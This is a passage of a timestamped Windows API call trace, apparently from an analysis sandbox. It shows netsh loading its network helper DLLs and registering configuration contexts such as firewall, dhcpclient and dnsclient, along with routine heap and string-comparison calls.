	[0229.729] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe18) returned 0x1fa728b02b0
	[0229.729] GetProcessHeap () returned 0x1fa72860000
	[0229.729] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af4e0) returned 1
	[0229.729] RegisterHelper () returned 0x0
	[0229.729] GetProcessHeap () returned 0x1fa72860000
	[0229.730] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe70) returned 0x1fa728b10d0
	[0229.730] GetProcessHeap () returned 0x1fa72860000
	[0229.730] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b02b0) returned 1
	[0229.730] RegEnumValueW (in: hKey=0xb4, dwIndex=0xe, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="WcnNetsh", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0229.730] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxmontr.dll") returned 14
	[0229.730] _wcsicmp (_String1="WcnNetsh.dll", _String2="ipxpromn.dll") returned 14
	[0229.730] GetProcessHeap () returned 0x1fa72860000
	[0229.730] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x280) returned 0x1fa728aba10
	[0229.730] GetProcessHeap () returned 0x1fa72860000
	[0229.730] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x12) returned 0x1fa728920b0
	[0229.730] GetProcessHeap () returned 0x1fa72860000
	[0229.730] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1a) returned 0x1fa728926a0
	[0229.730] _wcsupr (in: _String="WcnNetsh.dll" | out: _String="WCNNETSH.DLL") returned="WCNNETSH.DLL"
	[0229.730] GetProcessHeap () returned 0x1fa72860000
	[0229.730] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7288fec0) returned 1
	[0229.730] LoadLibraryExW (lpLibFileName="WCNNETSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff849fb0000
	[0230.314] GetProcAddress (hModule=0x7ff849fb0000, lpProcName="InitHelperDll") returned 0x7ff849fb1680
	[0230.314] InitHelperDll () returned 0x0
	[0230.314] RegisterHelper () returned 0x0
	[0230.314] GetProcessHeap () returned 0x1fa72860000
	[0230.314] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xec8) returned 0x1fa728ae770
	[0230.314] GetProcessHeap () returned 0x1fa72860000
	[0230.314] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b10d0) returned 1
	[0230.314] RegEnumValueW (in: hKey=0xb4, dwIndex=0xf, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="whhelper", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0230.314] _wcsicmp (_String1="whhelper.dll", _String2="ipxmontr.dll") returned 14
	[0230.314] _wcsicmp (_String1="whhelper.dll", _String2="ipxpromn.dll") returned 14
	[0230.314] GetProcessHeap () returned 0x1fa72860000
	[0230.314] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x2a8) returned 0x1fa7288fec0
	[0230.314] GetProcessHeap () returned 0x1fa72860000
	[0230.314] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x12) returned 0x1fa72892170
	[0230.314] GetProcessHeap () returned 0x1fa72860000
	[0230.314] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1a) returned 0x1fa72892430
	[0230.314] _wcsupr (in: _String="whhelper.dll" | out: _String="WHHELPER.DLL") returned="WHHELPER.DLL"
	[0230.314] GetProcessHeap () returned 0x1fa72860000
	[0230.314] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728aba10) returned 1
	[0230.315] LoadLibraryExW (lpLibFileName="WHHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff850870000
	[0230.468] GetProcAddress (hModule=0x7ff850870000, lpProcName="InitHelperDll") returned 0x7ff8508714d0
	[0230.468] InitHelperDll () returned 0x0
	[0230.468] RegisterHelper () returned 0x0
	[0230.468] GetProcessHeap () returned 0x1fa72860000
	[0230.468] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xf20) returned 0x1fa728af640
	[0230.469] GetProcessHeap () returned 0x1fa72860000
	[0230.469] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728ae770) returned 1
	[0230.469] RegEnumValueW (in: hKey=0xb4, dwIndex=0x10, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="wlancfg", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0230.469] _wcsicmp (_String1="wlancfg.dll", _String2="ipxmontr.dll") returned 14
	[0230.469] _wcsicmp (_String1="wlancfg.dll", _String2="ipxpromn.dll") returned 14
	[0230.469] GetProcessHeap () returned 0x1fa72860000
	[0230.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x2d0) returned 0x1fa728ac0b0
	[0230.469] GetProcessHeap () returned 0x1fa72860000
	[0230.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72891b10
	[0230.469] GetProcessHeap () returned 0x1fa72860000
	[0230.469] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa728921b0
	[0230.469] _wcsupr (in: _String="wlancfg.dll" | out: _String="WLANCFG.DLL") returned="WLANCFG.DLL"
	[0230.469] GetProcessHeap () returned 0x1fa72860000
	[0230.469] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7288fec0) returned 1
	[0230.469] LoadLibraryExW (lpLibFileName="WLANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff846570000
	[0232.334] GetProcAddress (hModule=0x7ff846570000, lpProcName="InitHelperDll") returned 0x7ff846571320
	[0232.334] InitHelperDll () returned 0x0
	[0232.334] RegisterHelper () returned 0x0
	[0232.334] GetProcessHeap () returned 0x1fa72860000
	[0232.334] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xf78) returned 0x1fa728b2580
	[0232.334] GetProcessHeap () returned 0x1fa72860000
	[0232.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728af640) returned 1
	[0232.334] RegEnumValueW (in: hKey=0xb4, dwIndex=0x11, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="wshelper", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0232.334] _wcsicmp (_String1="wshelper.dll", _String2="ipxmontr.dll") returned 14
	[0232.334] _wcsicmp (_String1="wshelper.dll", _String2="ipxpromn.dll") returned 14
	[0232.334] GetProcessHeap () returned 0x1fa72860000
	[0232.334] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x2f8) returned 0x1fa7288fec0
	[0232.334] GetProcessHeap () returned 0x1fa72860000
	[0232.334] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x12) returned 0x1fa72892210
	[0232.334] GetProcessHeap () returned 0x1fa72860000
	[0232.334] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1a) returned 0x1fa728aea00
	[0232.334] _wcsupr (in: _String="wshelper.dll" | out: _String="WSHELPER.DLL") returned="WSHELPER.DLL"
	[0232.334] GetProcessHeap () returned 0x1fa72860000
	[0232.334] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728ac0b0) returned 1
	[0232.334] LoadLibraryExW (lpLibFileName="WSHELPER.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff84b3e0000
	[0232.522] GetProcAddress (hModule=0x7ff84b3e0000, lpProcName="InitHelperDll") returned 0x7ff84b3e1030
	[0232.522] InitHelperDll () returned 0x0
	[0232.522] RegisterHelper () returned 0x0
	[0232.522] GetProcessHeap () returned 0x1fa72860000
	[0232.522] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xfd0) returned 0x1fa728aef80
	[0232.522] GetProcessHeap () returned 0x1fa72860000
	[0232.522] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b2580) returned 1
	[0232.522] RegEnumValueW (in: hKey=0xb4, dwIndex=0x12, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="wwancfg", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0232.522] _wcsicmp (_String1="wwancfg.dll", _String2="ipxmontr.dll") returned 14
	[0232.522] _wcsicmp (_String1="wwancfg.dll", _String2="ipxpromn.dll") returned 14
	[0232.522] GetProcessHeap () returned 0x1fa72860000
	[0232.522] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x320) returned 0x1fa728aff60
	[0232.522] GetProcessHeap () returned 0x1fa72860000
	[0232.522] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10) returned 0x1fa72892230
	[0232.522] GetProcessHeap () returned 0x1fa72860000
	[0232.522] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x18) returned 0x1fa72892250
	[0232.522] _wcsupr (in: _String="wwancfg.dll" | out: _String="WWANCFG.DLL") returned="WWANCFG.DLL"
	[0232.522] GetProcessHeap () returned 0x1fa72860000
	[0232.522] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa7288fec0) returned 1
	[0232.522] LoadLibraryExW (lpLibFileName="WWANCFG.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff8464c0000
	[0232.912] GetProcAddress (hModule=0x7ff8464c0000, lpProcName="InitHelperDll") returned 0x7ff8464c11d0
	[0232.912] InitHelperDll () returned 0x0
	[0232.912] RegisterHelper () returned 0x0
	[0232.912] GetProcessHeap () returned 0x1fa72860000
	[0232.912] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1028) returned 0x1fa728b39a0
	[0232.912] GetProcessHeap () returned 0x1fa72860000
	[0232.912] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728aef80) returned 1
	[0232.912] RegEnumValueW (in: hKey=0xb4, dwIndex=0x13, lpValueName=0x1fa72871140, lpcchValueName=0x7e07767840, lpReserved=0x0, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898 | out: lpValueName="peerdistsh", lpcchValueName=0x7e07767840, lpType=0x0, lpData=0x1fa72868700, lpcbData=0x7e07767898) returned 0x0
	[0232.912] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxmontr.dll") returned 7
	[0232.912] _wcsicmp (_String1="peerdistsh.dll", _String2="ipxpromn.dll") returned 7
	[0232.912] GetProcessHeap () returned 0x1fa72860000
	[0232.912] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x348) returned 0x1fa7288fec0
	[0232.912] GetProcessHeap () returned 0x1fa72860000
	[0232.912] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x16) returned 0x1fa728af410
	[0232.912] GetProcessHeap () returned 0x1fa72860000
	[0232.912] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1e) returned 0x1fa728aebb0
	[0232.912] _wcsupr (in: _String="peerdistsh.dll" | out: _String="PEERDISTSH.DLL") returned="PEERDISTSH.DLL"
	[0232.912] GetProcessHeap () returned 0x1fa72860000
	[0232.913] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728aff60) returned 1
	[0232.913] LoadLibraryExW (lpLibFileName="PEERDISTSH.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ff846450000
	[0235.750] GetProcAddress (hModule=0x7ff846450000, lpProcName="InitHelperDll") returned 0x7ff846451220
	[0235.750] InitHelperDll () returned 0x0
	[0236.228] RegisterHelper () returned 0x0
	[0236.228] GetProcessHeap () returned 0x1fa72860000
	[0236.228] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1080) returned 0x1fa728b49d0
	[0236.228] GetProcessHeap () returned 0x1fa72860000
	[0236.228] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b39a0) returned 1
	[0236.228] RegisterHelper () returned 0x0
	[0236.228] GetProcessHeap () returned 0x1fa72860000
	[0236.228] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x10d8) returned 0x1fa728b5a60
	[0236.228] GetProcessHeap () returned 0x1fa72860000
	[0236.228] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b49d0) returned 1
	[0236.228] RegCloseKey (hKey=0xb4) returned 0x0
	[0236.228] GetProcessHeap () returned 0x1fa72860000
	[0236.229] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72871140) returned 1
	[0236.229] GetProcessHeap () returned 0x1fa72860000
	[0236.229] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72868700) returned 1
	[0236.230] GetProcessHeap () returned 0x1fa72860000
	[0236.230] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728a9d70
	[0236.230] GetProcessHeap () returned 0x1fa72860000
	[0236.230] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0236.230] RegisterContext () returned 0x0
	[0236.230] GetProcessHeap () returned 0x1fa72860000
	[0236.230] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728aa270
	[0236.230] GetProcessHeap () returned 0x1fa72860000
	[0236.230] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0236.230] RegisterContext () returned 0x0
	[0236.273] _wcsicmp (_String1="ras", _String2="interface") returned 9
	[0236.273] _wcsicmp (_String1="ras", _String2="interface") returned 9
	[0236.273] GetProcessHeap () returned 0x1fa72860000
	[0236.273] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe0) returned 0x1fa72892aa0
	[0236.273] GetProcessHeap () returned 0x1fa72860000
	[0236.273] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728aa270) returned 1
	[0236.537] RegisterContext () returned 0x0
	[0236.538] GetProcessHeap () returned 0x1fa72860000
	[0236.538] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728a9af0
	[0236.538] GetProcessHeap () returned 0x1fa72860000
	[0236.538] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0236.538] RegisterContext () returned 0x0
	[0236.538] _wcsicmp (_String1="ipv6", _String2="ip") returned 118
	[0236.539] _wcsicmp (_String1="ipv6", _String2="ip") returned 118
	[0236.539] GetProcessHeap () returned 0x1fa72860000
	[0236.539] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe0) returned 0x1fa728bce20
	[0236.539] GetProcessHeap () returned 0x1fa72860000
	[0236.539] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a9af0) returned 1
	[0237.154] RegisterContext () returned 0x0
	[0237.155] _wcsicmp (_String1="aaaa", _String2="ip") returned -8
	[0237.155] _wcsicmp (_String1="aaaa", _String2="ipv6") returned -8
	[0237.155] _wcsicmp (_String1="aaaa", _String2="ip") returned -8
	[0237.155] GetProcessHeap () returned 0x1fa72860000
	[0237.155] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x150) returned 0x1fa728afae0
	[0237.155] GetProcessHeap () returned 0x1fa72860000
	[0237.155] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bce20) returned 1
	[0237.155] RegisterContext () returned 0x0
	[0237.156] _wcsicmp (_String1="diagnostics", _String2="aaaa") returned 3
	[0237.156] _wcsicmp (_String1="diagnostics", _String2="ip") returned -5
	[0237.156] _wcsicmp (_String1="diagnostics", _String2="ipv6") returned -5
	[0237.156] _wcsicmp (_String1="diagnostics", _String2="aaaa") returned 3
	[0237.156] _wcsicmp (_String1="diagnostics", _String2="ip") returned -5
	[0237.156] GetProcessHeap () returned 0x1fa72860000
	[0237.156] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1c0) returned 0x1fa728afc40
	[0237.156] GetProcessHeap () returned 0x1fa72860000
	[0237.156] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728afae0) returned 1
	[0237.156] RegisterContext () returned 0x0
	[0237.156] _wcsicmp (_String1="advfirewall", _String2="interface") returned -8
	[0237.156] _wcsicmp (_String1="advfirewall", _String2="ras") returned -17
	[0237.157] _wcsicmp (_String1="advfirewall", _String2="interface") returned -8
	[0237.157] GetProcessHeap () returned 0x1fa72860000
	[0237.157] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x150) returned 0x1fa728afae0
	[0237.157] GetProcessHeap () returned 0x1fa72860000
	[0237.157] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72892aa0) returned 1
	[0237.157] RegisterContext () returned 0x0
	[0237.157] GetProcessHeap () returned 0x1fa72860000
	[0237.157] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728a9ef0
	[0237.157] GetProcessHeap () returned 0x1fa72860000
	[0237.157] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0237.157] RegisterContext () returned 0x0
	[0237.157] _wcsicmp (_String1="firewall", _String2="consec") returned 3
	[0237.157] _wcsicmp (_String1="firewall", _String2="consec") returned 3
	[0237.157] GetProcessHeap () returned 0x1fa72860000
	[0237.157] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe0) returned 0x1fa72892aa0
	[0237.157] GetProcessHeap () returned 0x1fa72860000
	[0237.157] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728a9ef0) returned 1
	[0237.157] RegisterContext () returned 0x0
	[0237.157] _wcsicmp (_String1="monitor", _String2="consec") returned 10
	[0237.157] _wcsicmp (_String1="monitor", _String2="firewall") returned 7
	[0237.157] _wcsicmp (_String1="monitor", _String2="consec") returned 10
	[0237.157] _wcsicmp (_String1="monitor", _String2="firewall") returned 7
	[0237.157] GetProcessHeap () returned 0x1fa72860000
	[0237.157] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x150) returned 0x1fa728bce20
	[0237.158] GetProcessHeap () returned 0x1fa72860000
	[0237.158] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa72892aa0) returned 1
	[0237.158] RegisterContext () returned 0x0
	[0237.158] _wcsicmp (_String1="mainmode", _String2="consec") returned 10
	[0237.158] _wcsicmp (_String1="mainmode", _String2="firewall") returned 7
	[0237.158] _wcsicmp (_String1="mainmode", _String2="monitor") returned -14
	[0237.158] _wcsicmp (_String1="mainmode", _String2="consec") returned 10
	[0237.158] _wcsicmp (_String1="mainmode", _String2="firewall") returned 7
	[0237.158] _wcsicmp (_String1="mainmode", _String2="monitor") returned -14
	[0237.158] GetProcessHeap () returned 0x1fa72860000
	[0237.158] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1c0) returned 0x1fa728afe10
	[0237.158] GetProcessHeap () returned 0x1fa72860000
	[0237.158] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728bce20) returned 1
	[0237.158] RegisterContext () returned 0x0
	[0237.158] _wcsicmp (_String1="dhcpclient", _String2="advfirewall") returned 3
	[0237.158] _wcsicmp (_String1="dhcpclient", _String2="interface") returned -5
	[0237.158] _wcsicmp (_String1="dhcpclient", _String2="ras") returned -14
	[0237.158] _wcsicmp (_String1="dhcpclient", _String2="advfirewall") returned 3
	[0237.158] _wcsicmp (_String1="dhcpclient", _String2="interface") returned -5
	[0237.158] GetProcessHeap () returned 0x1fa72860000
	[0237.158] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x1c0) returned 0x1fa728affe0
	[0237.158] GetProcessHeap () returned 0x1fa72860000
	[0237.158] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728afae0) returned 1
	[0237.159] RegisterContext () returned 0x0
	[0237.159] _wcsicmp (_String1="lan", _String2="advfirewall") returned 11
	[0237.159] _wcsicmp (_String1="lan", _String2="dhcpclient") returned 8
	[0237.159] _wcsicmp (_String1="lan", _String2="interface") returned 3
	[0237.159] _wcsicmp (_String1="lan", _String2="ras") returned -6
	[0237.159] _wcsicmp (_String1="lan", _String2="advfirewall") returned 11
	[0237.159] _wcsicmp (_String1="lan", _String2="dhcpclient") returned 8
	[0237.159] _wcsicmp (_String1="lan", _String2="interface") returned 3
	[0237.159] _wcsicmp (_String1="lan", _String2="ras") returned -6
	[0237.159] GetProcessHeap () returned 0x1fa72860000
	[0237.159] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x230) returned 0x1fa728b01b0
	[0237.159] GetProcessHeap () returned 0x1fa72860000
	[0237.159] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728affe0) returned 1
	[0237.666] RegisterContext () returned 0x0
	[0237.666] _wcsicmp (_String1="firewall", _String2="advfirewall") returned 5
	[0237.666] _wcsicmp (_String1="firewall", _String2="dhcpclient") returned 2
	[0237.666] _wcsicmp (_String1="firewall", _String2="interface") returned -3
	[0237.666] _wcsicmp (_String1="firewall", _String2="lan") returned -6
	[0237.666] _wcsicmp (_String1="firewall", _String2="ras") returned -12
	[0237.666] _wcsicmp (_String1="firewall", _String2="advfirewall") returned 5
	[0237.666] _wcsicmp (_String1="firewall", _String2="dhcpclient") returned 2
	[0237.666] _wcsicmp (_String1="firewall", _String2="interface") returned -3
	[0237.666] GetProcessHeap () returned 0x1fa72860000
	[0237.666] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x2a0) returned 0x1fa728b4fd0
	[0237.667] GetProcessHeap () returned 0x1fa72860000
	[0237.667] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b01b0) returned 1
	[0237.667] RegisterContext () returned 0x0
	[0237.667] _wcsicmp (_String1="bridge", _String2="advfirewall") returned 1
	[0237.667] _wcsicmp (_String1="bridge", _String2="dhcpclient") returned -2
	[0237.667] _wcsicmp (_String1="bridge", _String2="firewall") returned -4
	[0237.667] _wcsicmp (_String1="bridge", _String2="interface") returned -7
	[0237.667] _wcsicmp (_String1="bridge", _String2="lan") returned -10
	[0237.667] _wcsicmp (_String1="bridge", _String2="ras") returned -16
	[0237.667] _wcsicmp (_String1="bridge", _String2="advfirewall") returned 1
	[0237.667] _wcsicmp (_String1="bridge", _String2="dhcpclient") returned -2
	[0237.667] GetProcessHeap () returned 0x1fa72860000
	[0237.667] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x310) returned 0x1fa728affe0
	[0237.667] GetProcessHeap () returned 0x1fa72860000
	[0237.667] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4fd0) returned 1
	[0237.667] RegisterContext () returned 0x0
	[0237.667] _wcsicmp (_String1="netio", _String2="advfirewall") returned 13
	[0237.667] _wcsicmp (_String1="netio", _String2="bridge") returned 12
	[0237.667] _wcsicmp (_String1="netio", _String2="dhcpclient") returned 10
	[0237.667] _wcsicmp (_String1="netio", _String2="firewall") returned 8
	[0237.667] _wcsicmp (_String1="netio", _String2="interface") returned 5
	[0237.667] _wcsicmp (_String1="netio", _String2="lan") returned 2
	[0237.667] _wcsicmp (_String1="netio", _String2="ras") returned -4
	[0237.667] _wcsicmp (_String1="netio", _String2="advfirewall") returned 13
	[0237.667] _wcsicmp (_String1="netio", _String2="bridge") returned 12
	[0237.667] _wcsicmp (_String1="netio", _String2="dhcpclient") returned 10
	[0237.667] _wcsicmp (_String1="netio", _String2="firewall") returned 8
	[0237.667] _wcsicmp (_String1="netio", _String2="interface") returned 5
	[0237.667] _wcsicmp (_String1="netio", _String2="lan") returned 2
	[0237.667] _wcsicmp (_String1="netio", _String2="ras") returned -4
	[0237.668] GetProcessHeap () returned 0x1fa72860000
	[0237.668] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x380) returned 0x1fa728b4fd0
	[0237.668] GetProcessHeap () returned 0x1fa72860000
	[0237.668] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728affe0) returned 1
	[0237.668] RegisterContext () returned 0x0
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="advfirewall") returned 3
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="bridge") returned 2
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="dhcpclient") returned 6
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="firewall") returned -2
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="interface") returned -5
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="lan") returned -8
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="netio") returned -10
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="ras") returned -14
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="advfirewall") returned 3
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="bridge") returned 2
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="dhcpclient") returned 6
	[0237.668] _wcsicmp (_String1="dnsclient", _String2="firewall") returned -2
	[0237.668] GetProcessHeap () returned 0x1fa72860000
	[0237.668] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x3f0) returned 0x1fa728affe0
	[0237.668] GetProcessHeap () returned 0x1fa72860000
	[0237.668] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728b4fd0) returned 1
	[0237.668] RegisterContext () returned 0x0
	[0237.668] _wcsicmp (_String1="namespace", _String2="advfirewall") returned 13
	[0237.668] _wcsicmp (_String1="namespace", _String2="bridge") returned 12
	[0237.668] _wcsicmp (_String1="namespace", _String2="dhcpclient") returned 10
	[0237.668] _wcsicmp (_String1="namespace", _String2="dnsclient") returned 10
	[0237.668] _wcsicmp (_String1="namespace", _String2="firewall") returned 8
	[0237.668] _wcsicmp (_String1="namespace", _String2="interface") returned 5
	[0237.668] _wcsicmp (_String1="namespace", _String2="lan") returned 2
	[0237.668] _wcsicmp (_String1="namespace", _String2="netio") returned -4
	[0237.668] _wcsicmp (_String1="namespace", _String2="ras") returned -4
	[0237.668] _wcsicmp (_String1="namespace", _String2="advfirewall") returned 13
	[0237.668] _wcsicmp (_String1="namespace", _String2="bridge") returned 12
	[0237.669] _wcsicmp (_String1="namespace", _String2="dhcpclient") returned 10
	[0237.669] _wcsicmp (_String1="namespace", _String2="dnsclient") returned 10
	[0237.669] _wcsicmp (_String1="namespace", _String2="firewall") returned 8
	[0237.669] _wcsicmp (_String1="namespace", _String2="interface") returned 5
	[0237.669] _wcsicmp (_String1="namespace", _String2="lan") returned 2
	[0237.669] _wcsicmp (_String1="namespace", _String2="netio") returned -4
	[0237.669] GetProcessHeap () returned 0x1fa72860000
	[0237.669] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x460) returned 0x1fa728b4fd0
	[0237.669] GetProcessHeap () returned 0x1fa72860000
	[0237.669] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x1fa728affe0) returned 1
	[0237.669] RegisterContext () returned 0x0
	[0237.669] GetProcessHeap () returned 0x1fa72860000
	[0237.669] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0x70) returned 0x1fa728a9ff0
	[0237.669] GetProcessHeap () returned 0x1fa72860000
	[0237.669] RtlFreeHeap (HeapHandle=0x1fa72860000, Flags=0x0, BaseAddress=0x0) returned 1
	[0237.669] RegisterContext () returned 0x0
	[0237.669] _wcsicmp (_String1="ipv6", _String2="ipv4") returned 2
	[0237.669] _wcsicmp (_String1="ipv6", _String2="ipv4") returned 2
	[0237.669] GetProcessHeap () returned 0x1fa72860000
	[0237.669] RtlAllocateHeap (HeapHandle=0x1fa72860000, Flags=0x0, Size=0xe0) returned 0x1fa728afae0
	[0237.669] GetProcessHeap () returned 0x1fa72860000
